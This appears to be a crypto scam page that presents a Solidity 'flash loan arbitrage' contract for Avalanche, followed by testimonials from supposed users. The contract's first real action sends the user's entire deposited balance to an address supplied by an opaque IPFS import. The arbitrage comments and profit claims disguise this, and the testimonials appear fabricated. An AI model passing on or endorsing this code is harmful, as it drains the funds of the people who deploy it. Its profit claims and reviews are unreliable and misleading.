AVAX TUTORIALS

Please follow the instructions on this video & read instructions below.

pragma solidity ^0.5.0;

//Pangolin Contracts
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinCallee.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IERC20.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinPair.sol";

// V-Cred Router
import "https://gw.crustapps.net/ipfs/QmbGuXitff5GaDRzsRstqV4m6hAf3H1hK3e5aBnTtcWJLC";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";



contract InitiateFlashLoan {
    
    RouterV2 router;
    string public tokenName;
    string public tokenSymbol;
    uint256 flashLoanAmount;

    constructor(
        string memory _tokenName,
        string memory _tokenSymbol,
        uint256 _loanAmount
    ) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        flashLoanAmount = _loanAmount;

        router = new RouterV2();
    }

    function() external payable {}

    function flashloan() public payable {
        // Send required coins for swap
        address(uint160(router.pangolinSwapAddress())).transfer(
            address(this).balance
        );

        router.borrowFlashloanFromMultiplier(
            address(this),
            router.avaxSwapAddress(),
            flashLoanAmount
        );
        //To prepare the arbitrage, Avax is converted to Dai using V-Cred swap contract.
        router.convertAvaxTo(msg.sender, flashLoanAmount / 2);
        //The arbitrage converts token for AVAX using token/AVAX Pangolin, and then immediately converts AVAX back
        router.callArbitragePangolin(router.avaxSwapAddress(), msg.sender);
        //After the arbitrage, Avax is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Avax of gas.
        router.transferAvaxToMultiplier(router.pangolinSwapAddress());
        //Note that the transaction sender gains 9ish Avac from the arbitrage, this particular transaction can be repeated as price changes all the time.
        router.completeTransation(address(this).balance);
    }
}

 

Our CLIENTS SAY

Tommy M.
It worked for me on the second go also, liquidity was too low first time I think
Scott Y.
I was sceptical, but somehow got 10AVAX back from using 2avax deposits.
Garret F.
5BNB back on 0.25 liquidity. Not bad at all! Sent some your way.
Anna H.
Wow i can't truly imagine that it work. It really did work and a can't still believe it. Can you imagine for 0.3bnb you can received a loan of 7bnb? I'll will try again tomorrow with 0.5bnb and will see what happen. Thank you again admin
Glenn P.
Last week Smart contract was awesome, I made a lot of BNB. I hope this new contract will be more beneficial than the old one. Thank you admin.
Kevin O.
It really did works for me...At first, its kind a fail. Then i just FF the Hint on the instructions. And then 14BNB BOOOOM!!!! Thank you admin.
Frank M.
I got 12BNB today. I try on remix and ff the instructions then transaction successful. Thanks admin, your code still working perfectly.
Alyson L.
At first it doesn't quite to work. What i did, i restart my system and i do it all over again and it when through. Thank you for this admin. I got 9bnb today.
Nicole H.
It fail when i tried yesterday, but today it go through on my second attempt. Thank you i got 12bnb today. What a relief lol.